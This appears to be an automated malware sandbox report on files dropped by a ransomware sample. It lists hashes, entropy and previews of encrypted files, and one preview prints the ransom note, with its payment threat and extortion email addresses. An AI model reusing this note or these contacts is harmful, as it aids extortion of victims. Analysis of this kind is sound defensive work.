                                                                                                                                                                Preview:...p...tV=7.!8.1..(y..u..L.....[C%...J..cz.....B.e[.jyvB^k.~...=L..v.....Sc..z)CS+....Mr.....WX.*,.6.g2...[..)...D..Y....PYvb2.6O.<.d...t../wh....m...Y....B..E......)..)Dd~&.....]%b.cT..........0...4...Uo......N.~......c-......l|(..[..'B....Q!...o...q...r]g.Vo]S../....d. .iFA.x....IMe..v.d.._..p.....K.O...G.K..\Z@...L..:\x....)C.'H......P)vk...>p8..J7..d.p.&.....9.....Xc.t......s.=.>:4.e..t.x~....H.6...."G].q..[2.1.@....g.......8...q...?>.U...l.....+.P..qf..,dHW.S......T...V$.V,.....:. h.#...|]..k'|.....]u..e......>.Y]...e.v..f..?]..n.I.B.zW.&T_<?c...~.N.5.D..d>1..S9p...."GS.vn..BISv..|....5.c~..........{S...e.....`@.Z`..w.D....]....;..m.....Th_g.d.._.w4_4d1.....V%r.d......q..S...D[..G.........R...`......$.P...y.H.}.;W...s8..8a.R...pc...K.$.fd0..h.K....CO...,..8d.7...>.s.e..t.,s.'_...#...-...}.`U.B.6.`<.......n0..c.....0d.z<.~o..%..z-.&..Mf.\6.F..D.......=H.c.LJ).O.\..k.....6._...ix..h.V.~.$f.Q.Yy.|Wtf.Q}.x.QDhta...*.J..?FV.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8429189149243665
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:HMu8HnQ3HvuHf6kFRzpDjx+m95Chf6tocp0dSuD8kyVdF0NF+KnwcD2tu8oT0zq4:pCtfzPz9jx+xfrY0dTZyB0R3D2t1+odv
                                                                                                                                                                MD5:82787FD8D98B8BB6DD0B2E6E48ECD9D9
                                                                                                                                                                SHA1:352F1DA3DF560A900C1CF0E2B4BBA3D655DF750F
                                                                                                                                                                SHA-256:09B38B0643D36032F181E4373B9DC41126B1998AFDCA4D9ADAFD4D269E143E30
                                                                                                                                                                SHA-512:F9E6B5C601837F0435F314188559331C594E21EE7B5977A157F932191D8F8D197E5D4364905C130BA0BACA93AC1B4A0639F0DBE8B6E13CA7BF7F67FDA9EB0ADA
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:+.3K..p.1.{.RG......E..T$........x..u...5.....4....}{.aKjs`.w..%..=d..UT....m...B+...w*.....1^.N...J.$....6}3n.:...q..g..R.&....W......R..B.........P"S...Tb]...x.....w......I....~!M1...l.<....k..7m!m..=./...y.0r=..40"l.o.>....z.|.......kvp....p..~Y.!+.u....3..w..f.";!.h.r..Da^..c...g%..q..y.(.`..=...S..h..%..D9.{.7;:..R...<1..e....v..;..Y-6...L.+. .n..).]....)..G...<$.U..U..V........P.....M.....fQ...wNAZ..p.}..~..XI........Am..2.d.fm..Bo..{......L.i.Z.F1.......7*...t;...../A...3.C.o..tx.B.u..;...3..1[(....c.'.....t.~m....NM..h....0.`.a..m...h...........Z[.N.g. .).........!.wq..<}z.x..."..........fw.n...........[MG....p./)],...*T.)S...T.D%z'..c.].QiW~.....o..}.b..X..6.....(..[u.V....k...@}...O.!.>3R.m =P..f..P.^4...A.q.....3fc.d).......t...\.U+..Pb.@.qU../.H.... .}....hx.T0;.;K+4...gx..n........E!|..S}.$.{FPs.Y...P.@f6.!....<RRlR]5.UF..*.#eH[).x.2(zT.eh......._.\.i8u.u,..Qz.W.....d.b8.c.Td(`.U..B.6.;l..#>l.....n.0.B%Gm...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8429189149243665
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:HMu8HnQ3HvuHf6kFRzpDjx+m95Chf6tocp0dSuD8kyVdF0NF+KnwcD2tu8oT0zq4:pCtfzPz9jx+xfrY0dTZyB0R3D2t1+odv
                                                                                                                                                                MD5:82787FD8D98B8BB6DD0B2E6E48ECD9D9
                                                                                                                                                                SHA1:352F1DA3DF560A900C1CF0E2B4BBA3D655DF750F
                                                                                                                                                                SHA-256:09B38B0643D36032F181E4373B9DC41126B1998AFDCA4D9ADAFD4D269E143E30
                                                                                                                                                                SHA-512:F9E6B5C601837F0435F314188559331C594E21EE7B5977A157F932191D8F8D197E5D4364905C130BA0BACA93AC1B4A0639F0DBE8B6E13CA7BF7F67FDA9EB0ADA
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:+.3K..p.1.{.RG......E..T$........x..u...5.....4....}{.aKjs`.w..%..=d..UT....m...B+...w*.....1^.N...J.$....6}3n.:...q..g..R.&....W......R..B.........P"S...Tb]...x.....w......I....~!M1...l.<....k..7m!m..=./...y.0r=..40"l.o.>....z.|.......kvp....p..~Y.!+.u....3..w..f.";!.h.r..Da^..c...g%..q..y.(.`..=...S..h..%..D9.{.7;:..R...<1..e....v..;..Y-6...L.+. .n..).]....)..G...<$.U..U..V........P.....M.....fQ...wNAZ..p.}..~..XI........Am..2.d.fm..Bo..{......L.i.Z.F1.......7*...t;...../A...3.C.o..tx.B.u..;...3..1[(....c.'.....t.~m....NM..h....0.`.a..m...h...........Z[.N.g. .).........!.wq..<}z.x..."..........fw.n...........[MG....p./)],...*T.)S...T.D%z'..c.].QiW~.....o..}.b..X..6.....(..[u.V....k...@}...O.!.>3R.m =P..f..P.^4...A.q.....3fc.d).......t...\.U+..Pb.@.qU../.H.... .}....hx.T0;.;K+4...gx..n........E!|..S}.$.{FPs.Y...P.@f6.!....<RRlR]5.UF..*.#eH[).x.2(zT.eh......._.\.i8u.u,..Qz.W.....d.b8.c.Td(`.U..B.6.;l..#>l.....n.0.B%Gm...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.828089647786291
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jzKAZIItn8qzN1897RwfoMn864yvYhBXPw2ozJoFI:CwIIthh1wwJ8/PPw2oVr
                                                                                                                                                                MD5:E7C0602A0CA561B3B7A303D9820FBC31
                                                                                                                                                                SHA1:928E44F5A5BEE3616F60F5BE92CEEC250D37020B
                                                                                                                                                                SHA-256:015ADF6861E88CC561F9FED31C980553505A73092B664FD6FB0BEB870F6BFF49
                                                                                                                                                                SHA-512:09A839E565DDD1B08BF46E451741A00B0906FE59870BFD95FB684DC4AD863FE70E12D0BA277C621EFB2A8FCBB3E707DF764854ED3D25F7682F719B3878860FC5
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.A.....u...j..JA>Z.e.....]l..F..NA!... q....qh.9O.Q..a..Vq...W...1i......oW..+.I..3.Q..h....p..*D.K0y.j9...g}..6n.Q.h..X.uM.E.U4n)...P.....}.1.@~....#....w=J.^i...HNb.r.u2R......g.$.$.p[.AZ\..$.>.........T ......2..wMxg5.3.....K.x.........j..+..2.Z..%.....W.....w].. .4.^...f%?..A6.....{..6vg..v...6.......?i2..<.........l...Z.N....V..*..*..f...J.7..(..|U..-%..(.=..)....k...J.P.W%.H...Q.....2.BD..S.@A.f..k..72xH...2D...B.f).p.fd...[..g.x....F....T.....N..D..W.....n.....lt.. ....[..A.8k...'..Y:.P4.........#...[)..:....[.i5&...zLef.V......n....)<...!....[.vRb.2...B].;.%..6O.)+..S.s..W...........k.KA..c+.'cLe.pt..<...Mi.i.........e0.....J4..6.`p.A.J...8Q2.x.l?...ix..*..CK..4.k..T.fs.r.{....]q/.L......[..O...0...E`V....Y,..k.6..\E.'..\..M......F...ck.\.>.h2.....,.(uo./...@...N...h.Vl.!4.!T........Y>..C...(Y.k5...iU...N.,i.0.0.f.6@.<t..qh`.z..Z...H6 6hQ0Z.....fM.hXg.......!..8.c.......#.......";ea.Z.N^......Q........_....._..z.\.p.....#....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.828089647786291
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:jzKAZIItn8qzN1897RwfoMn864yvYhBXPw2ozJoFI:CwIIthh1wwJ8/PPw2oVr
                                                                                                                                                                MD5:E7C0602A0CA561B3B7A303D9820FBC31
                                                                                                                                                                SHA1:928E44F5A5BEE3616F60F5BE92CEEC250D37020B
                                                                                                                                                                SHA-256:015ADF6861E88CC561F9FED31C980553505A73092B664FD6FB0BEB870F6BFF49
                                                                                                                                                                SHA-512:09A839E565DDD1B08BF46E451741A00B0906FE59870BFD95FB684DC4AD863FE70E12D0BA277C621EFB2A8FCBB3E707DF764854ED3D25F7682F719B3878860FC5
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.A.....u...j..JA>Z.e.....]l..F..NA!... q....qh.9O.Q..a..Vq...W...1i......oW..+.I..3.Q..h....p..*D.K0y.j9...g}..6n.Q.h..X.uM.E.U4n)...P.....}.1.@~....#....w=J.^i...HNb.r.u2R......g.$.$.p[.AZ\..$.>.........T ......2..wMxg5.3.....K.x.........j..+..2.Z..%.....W.....w].. .4.^...f%?..A6.....{..6vg..v...6.......?i2..<.........l...Z.N....V..*..*..f...J.7..(..|U..-%..(.=..)....k...J.P.W%.H...Q.....2.BD..S.@A.f..k..72xH...2D...B.f).p.fd...[..g.x....F....T.....N..D..W.....n.....lt.. ....[..A.8k...'..Y:.P4.........#...[)..:....[.i5&...zLef.V......n....)<...!....[.vRb.2...B].;.%..6O.)+..S.s..W...........k.KA..c+.'cLe.pt..<...Mi.i.........e0.....J4..6.`p.A.J...8Q2.x.l?...ix..*..CK..4.k..T.fs.r.{....]q/.L......[..O...0...E`V....Y,..k.6..\E.'..\..M......F...ck.\.>.h2.....,.(uo./...@...N...h.Vl.!4.!T........Y>..C...(Y.k5...iU...N.,i.0.0.f.6@.<t..qh`.z..Z...H6 6hQ0Z.....fM.hXg.......!..8.c.......#.......";ea.Z.N^......Q........_....._..z.\.p.....#....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8679803216912205
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:rGH0hXUozU+oxdV/AiT5oGCwYKvQw9pNwGjZhiAdkaByRGf:ru0hXUA5Ad+iT5BCwYOzLN5Lks
                                                                                                                                                                MD5:00CEC0B5F04156E3AE4FB86F4ED9D039
                                                                                                                                                                SHA1:994DFFC14C159910EA261DF7A04F9F2AEAB13FE7
                                                                                                                                                                SHA-256:1FCE0639E8159E131383DC363976FBB560A5F36337F8B5FA4B6F51568D5D2504
                                                                                                                                                                SHA-512:0410A469F8E95E1C7D670FC09BD3DB00FAACB7D13824599BE0FF2011FAEA29D9BD8836165E7E53408CB8BAC09C0708BFDA281BBE9A11CD4FDA18C2BB492C38E2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..2).o.r.>.....d..>...d.S.. .'z....&.J......@.@...>.`=n.@..w<3}..d/9...jD.{.O.D.6....{....6.<.UX.Ym...)w..@.<.T.n.|&.....1......R.C...?{..j....c...i-!..R.+....k!N.`.\..t..[...J#G..jM':....R.b+L..<..Dqsk..6*...q.0..>..C...|.h..../..D*.........A.V/..;.a....(.2..[.7(Xw..G..v......x.?%.f.]i....Qd...M+...I..E.Vl........b._..SS.........x...........D..|....@m.....j......_..k...q.(c....".[...}........$.Io...b...@.....LZ.~....+.].'...V...y.f...... ..7..+."..\c.{6....xQ.1.P....y.`._.xWso.O..l..-.+8-..#....8.2.ue...j.-y'..\.y..zg.S.[\_.#....A..s*.=.b\^.>.t...H....x...,..cv...B.o9...]P......hv.*`nb...)xu.....;.F<...H#..@......{...z.a.E..3..9....g.3Y..B....R]....R..D."5..d..&_./.E......W..o...W...&X......r...".....-..(..."..R;&.M....S4oY..-3rO..S....Q.}>...5....o.......Y...|.) ....#];4Fg..X.8...:.").J....Y.RB.r.zw...=e_...~............G.U....d..t.....L........v.k.,._...j.]o.4..6.Z.._.v...m...........0K...X.`..E..D;..c...5C..e.mc....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8679803216912205
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:rGH0hXUozU+oxdV/AiT5oGCwYKvQw9pNwGjZhiAdkaByRGf:ru0hXUA5Ad+iT5BCwYOzLN5Lks
                                                                                                                                                                MD5:00CEC0B5F04156E3AE4FB86F4ED9D039
                                                                                                                                                                SHA1:994DFFC14C159910EA261DF7A04F9F2AEAB13FE7
                                                                                                                                                                SHA-256:1FCE0639E8159E131383DC363976FBB560A5F36337F8B5FA4B6F51568D5D2504
                                                                                                                                                                SHA-512:0410A469F8E95E1C7D670FC09BD3DB00FAACB7D13824599BE0FF2011FAEA29D9BD8836165E7E53408CB8BAC09C0708BFDA281BBE9A11CD4FDA18C2BB492C38E2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..2).o.r.>.....d..>...d.S.. .'z....&.J......@.@...>.`=n.@..w<3}..d/9...jD.{.O.D.6....{....6.<.UX.Ym...)w..@.<.T.n.|&.....1......R.C...?{..j....c...i-!..R.+....k!N.`.\..t..[...J#G..jM':....R.b+L..<..Dqsk..6*...q.0..>..C...|.h..../..D*.........A.V/..;.a....(.2..[.7(Xw..G..v......x.?%.f.]i....Qd...M+...I..E.Vl........b._..SS.........x...........D..|....@m.....j......_..k...q.(c....".[...}........$.Io...b...@.....LZ.~....+.].'...V...y.f...... ..7..+."..\c.{6....xQ.1.P....y.`._.xWso.O..l..-.+8-..#....8.2.ue...j.-y'..\.y..zg.S.[\_.#....A..s*.=.b\^.>.t...H....x...,..cv...B.o9...]P......hv.*`nb...)xu.....;.F<...H#..@......{...z.a.E..3..9....g.3Y..B....R]....R..D."5..d..&_./.E......W..o...W...&X......r...".....-..(..."..R;&.M....S4oY..-3rO..S....Q.}>...5....o.......Y...|.) ....#];4Fg..X.8...:.").J....Y.RB.r.zw...=e_...~............G.U....d..t.....L........v.k.,._...j.]o.4..6.Z.._.v...m...........0K...X.`..E..D;..c...5C..e.mc....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:PGP Secret Sub-key -
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858311224384083
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:nQ4gsTkTXwKwy8uCldAPBEeW5+XfTvl3Sk/SSHcWwDHLClc6QvNhZZOXb354HsU:plTkTXwy8uCYDXoyGHLCVQvLZkLpFU
                                                                                                                                                                MD5:AFFBF6A3BB2FEEAC696277F03B4591E1
                                                                                                                                                                SHA1:5D925460FE83C7E9C6241BFC9502B624F1F98F58
                                                                                                                                                                SHA-256:078100404503BEFDCFA08A5E1CD347469F7E9C2C5143EC31065F4171E690DFB5
                                                                                                                                                                SHA-512:D98860057B899EE979912F8715E63AC385764EFE1FB8FF180746ADEA810A0F422C100CF1D519DE5DCEF6F5AF6DC1EA1B031E4E11994FE316FC6C6014927DE8E1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....a..gq.`0..3...;'.........B@f...j...oq........?[l.8|..%~N...kq...u.i...^..C....o.D..U..s.#....e..5...T6w..m...._...,.b2\...#..r..VQ}.x.d.-d...6.L..96.c.~..O.F"^.5.n.{......I4.....=8..`o.F#..g{.x.z.^]qub_...TP.m....V.k.Y...d.......b.....3>eEV"k.. ..z..Ga.....w....'.du`ux;.K.v..Q..i..#.a........$...0.~.8M..=(.....x.^.UNj....FM!ow.*@KM~.=....g.*'..BA..S.O.JD...2..}R..9<.*.|sCgV...'..*%.N.WB...8..~r.Nf......z............JP.....G|M.+.mI..7.+...C_.1..Sy.i.........T..0.b.X.!.S.Ot..sUa..H.j..#........v......y.!^1..q(8%.t..E.n. ....>.>.-...`.S.0.K.{...Na..ZS..}......3.v/......9...,.......|.....i..7.^...F..'.t.4....tJ,.k.n...Z+.e..Y..*...@......N.{-q....f..u.{..J..N..@......~...(V.X;..2E...v.V.s.".H.Y/.........C...i..}...q......ON]..cr<.........N.DL...fn......N..z..@..[....n..D.._;..].....4.>.4p..)L.Np.mw.......m.G..b1BS...).8...m.]NL..UV..s.7..<...P.p[.!LQ0.O.?..7.}<.HR.J.....b|.V.BBM.,...D.m.l..%..tvE_..u..9........\..!..4......P..9.eS
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:PGP Secret Sub-key -
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.858311224384083
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:nQ4gsTkTXwKwy8uCldAPBEeW5+XfTvl3Sk/SSHcWwDHLClc6QvNhZZOXb354HsU:plTkTXwy8uCYDXoyGHLCVQvLZkLpFU
                                                                                                                                                                MD5:AFFBF6A3BB2FEEAC696277F03B4591E1
                                                                                                                                                                SHA1:5D925460FE83C7E9C6241BFC9502B624F1F98F58
                                                                                                                                                                SHA-256:078100404503BEFDCFA08A5E1CD347469F7E9C2C5143EC31065F4171E690DFB5
                                                                                                                                                                SHA-512:D98860057B899EE979912F8715E63AC385764EFE1FB8FF180746ADEA810A0F422C100CF1D519DE5DCEF6F5AF6DC1EA1B031E4E11994FE316FC6C6014927DE8E1
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....a..gq.`0..3...;'.........B@f...j...oq........?[l.8|..%~N...kq...u.i...^..C....o.D..U..s.#....e..5...T6w..m...._...,.b2\...#..r..VQ}.x.d.-d...6.L..96.c.~..O.F"^.5.n.{......I4.....=8..`o.F#..g{.x.z.^]qub_...TP.m....V.k.Y...d.......b.....3>eEV"k.. ..z..Ga.....w....'.du`ux;.K.v..Q..i..#.a........$...0.~.8M..=(.....x.^.UNj....FM!ow.*@KM~.=....g.*'..BA..S.O.JD...2..}R..9<.*.|sCgV...'..*%.N.WB...8..~r.Nf......z............JP.....G|M.+.mI..7.+...C_.1..Sy.i.........T..0.b.X.!.S.Ot..sUa..H.j..#........v......y.!^1..q(8%.t..E.n. ....>.>.-...`.S.0.K.{...Na..ZS..}......3.v/......9...,.......|.....i..7.^...F..'.t.4....tJ,.k.n...Z+.e..Y..*...@......N.{-q....f..u.{..J..N..@......~...(V.X;..2E...v.V.s.".H.Y/.........C...i..}...q......ON]..cr<.........N.DL...fn......N..z..@..[....n..D.._;..].....4.>.4p..)L.Np.mw.......m.G..b1BS...).8...m.]NL..UV..s.7..<...P.p[.!LQ0.O.?..7.}<.HR.J.....b|.V.BBM.,...D.m.l..%..tvE_..u..9........\..!..4......P..9.eS
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8440266528138745
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:eb1c9vkBRT+r3eBm7m+bhLzYesivMGtexBVdIyYzHplHbhQXiMa:eJUyuuBQXbh4edMzBr6v6Xxa
                                                                                                                                                                MD5:0CBA3F1FA3EABDFAB5310C7BB0DBBC05
                                                                                                                                                                SHA1:95F382A7F22B5C7E838F08A546A8E73B85AEF1F1
                                                                                                                                                                SHA-256:E6281E245345DB1D5E48E8F1C639E6B3D432A11BC09BA5496723329A6D78EE92
                                                                                                                                                                SHA-512:2E8C4207905F8A27123F72DCFEEF594D28730FEE54D3850F5081BD1AB14E618D0FE5D45FDE53FDF69FA27B19D8BD509E90F72421C1CB376DABA8D30BD516FA33
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....dm..'.m.v.J....=.....[za.......f\Dz....B..(!.Wu.^@..oD@...6..XY....5H!>7${R...*....S..<`..U.t..j.. .mVe...#;..A@...l....E......3yU.Z\`....3..y.8....%0.!,......L.......\......Vi.9..R.%3,.......A..gUn#x..t..........\...VI......m.-.{.f=v@d.`g.H......`:....w.-..8C^.<..7.hy...tg.%............M+..r....N.~..$..........9I.......;bp..`.;..M....;..!;X...j.U..m.....D.U........*..$.H^.B.Cp..-...,.......=.........Y...e.1G....m...>..,Y.....$8..1.4s.&.....D..\A...;............-..n._.*(.).f.U...8;N.\........'.u@i.b.Y...E.).rI......KRT3D..f@...R#*(.^x.u..a..Q..^.f.bO..uX.-...../.J....1....t4.iU.t*...Uz..;G.......3_V.`...x1C....c..4...Q.k.6...h.....3:..T.).(A.M<go..O.UNr..._LmMt..)../M.F.....[N.A..o...n.Q.].E4.p....F...*x.w....[J.J.d?h..$q.......eF..[.l.nk..?!...@I{^....O~..X.Dh........e.G..vh...g.U....+.J.J...T.'............?.o..9.J..1......?w1".A.......p...q[;S.97.c.:....5.\...o.$.p.....m"=z..I..fY....]..........h.....e.`.-v...s...~8....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8440266528138745
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:eb1c9vkBRT+r3eBm7m+bhLzYesivMGtexBVdIyYzHplHbhQXiMa:eJUyuuBQXbh4edMzBr6v6Xxa
                                                                                                                                                                MD5:0CBA3F1FA3EABDFAB5310C7BB0DBBC05
                                                                                                                                                                SHA1:95F382A7F22B5C7E838F08A546A8E73B85AEF1F1
                                                                                                                                                                SHA-256:E6281E245345DB1D5E48E8F1C639E6B3D432A11BC09BA5496723329A6D78EE92
                                                                                                                                                                SHA-512:2E8C4207905F8A27123F72DCFEEF594D28730FEE54D3850F5081BD1AB14E618D0FE5D45FDE53FDF69FA27B19D8BD509E90F72421C1CB376DABA8D30BD516FA33
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.....dm..'.m.v.J....=.....[za.......f\Dz....B..(!.Wu.^@..oD@...6..XY....5H!>7${R...*....S..<`..U.t..j.. .mVe...#;..A@...l....E......3yU.Z\`....3..y.8....%0.!,......L.......\......Vi.9..R.%3,.......A..gUn#x..t..........\...VI......m.-.{.f=v@d.`g.H......`:....w.-..8C^.<..7.hy...tg.%............M+..r....N.~..$..........9I.......;bp..`.;..M....;..!;X...j.U..m.....D.U........*..$.H^.B.Cp..-...,.......=.........Y...e.1G....m...>..,Y.....$8..1.4s.&.....D..\A...;............-..n._.*(.).f.U...8;N.\........'.u@i.b.Y...E.).rI......KRT3D..f@...R#*(.^x.u..a..Q..^.f.bO..uX.-...../.J....1....t4.iU.t*...Uz..;G.......3_V.`...x1C....c..4...Q.k.6...h.....3:..T.).(A.M<go..O.UNr..._LmMt..)../M.F.....[N.A..o...n.Q.].E4.p....F...*x.w....[J.J.d?h..$q.......eF..[.l.nk..?!...@I{^....O~..X.Dh........e.G..vh...g.U....+.J.J...T.'............?.o..9.J..1......?w1".A.......p...q[;S.97.c.:....5.\...o.$.p.....m"=z..I..fY....]..........h.....e.`.-v...s...~8....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.854935104528408
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:xWXYImb30Fx0MJTywq9JZEuTloMRKN+XzQmsVXtPrwPqH9su0:bVkFx0MJTyw/mJl0bFRx9S
                                                                                                                                                                MD5:DCAD4CCDD086E01F056815046C235632
                                                                                                                                                                SHA1:A157A1607E40646C8B86A80DC8FD5ABF03CACB76
                                                                                                                                                                SHA-256:AFE2E65B21B06FCD75C809C140540642A76CF8BCC4626502CC28E3A0DB58D482
                                                                                                                                                                SHA-512:46AAE1241DE547FF8B130AC7AF14DDC0FC155E00CD12C93DDA89235A786FCA8F96806A8422B2CD71C947B3494D44456F3CDE62C01794D238134BAAD5CE56A175
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....W..X.+...3.)..r:J....n.h..01.x.O...#.&4.......{..."......=..X.!..Q... ..&.....4....1.....zkr.$..Q&.n.X..{:..j.0.:..^Y8.b.$Q..\Q.l0n...D.R .Q.B...~..x.....U<.<..;_...My..zBH.Rap...5&(.e...G...h.}....n?E?X..\i)Z.k.m.{._r.)....w..o.Y.(...k.<Y6..P..=.&.Yq.~P*z.[[..".qV>WpN3.&.M].`D..G...:..f.7.[T..V.W.z..!..........g..8...#..,P..7&V..9....;......2A.....V.r~^![.P...1.}..q=..'.ks.......X.............~6S....^.r.S.._......w"+.......)..s........DSJ.."_.....2M.}F*v....S...1.@N..V1..3.L(>....&....M<=7.s...5..........#.........kC...x-....^<..#..m.w*&........C.,..u.'...Q./.r...I...5Z.....t......gCB..6<09feX..Q:M..).{K.2.T.q..?...$4.....jjL...\..<.#....w..}.| Y.4.`9.........M.G....2*@.........3M].9..TZ&.|....F9........p.i.2...b....t8...Q.5.IQ=...0...#.......l.r]w./.1.j/.;~....fa..6..j.W.?....z7...-..7......f9.4.E9qBm...U.....o.B.o.}.......xL...2.&......-..8.K.......#....k!....6+..9..X..L..H......!....9.<..1.x.."d...'l,.#..>.+.?.s}m...^%
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.854935104528408
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:xWXYImb30Fx0MJTywq9JZEuTloMRKN+XzQmsVXtPrwPqH9su0:bVkFx0MJTyw/mJl0bFRx9S
                                                                                                                                                                MD5:DCAD4CCDD086E01F056815046C235632
                                                                                                                                                                SHA1:A157A1607E40646C8B86A80DC8FD5ABF03CACB76
                                                                                                                                                                SHA-256:AFE2E65B21B06FCD75C809C140540642A76CF8BCC4626502CC28E3A0DB58D482
                                                                                                                                                                SHA-512:46AAE1241DE547FF8B130AC7AF14DDC0FC155E00CD12C93DDA89235A786FCA8F96806A8422B2CD71C947B3494D44456F3CDE62C01794D238134BAAD5CE56A175
                                                                                                                                                                Malicious:false
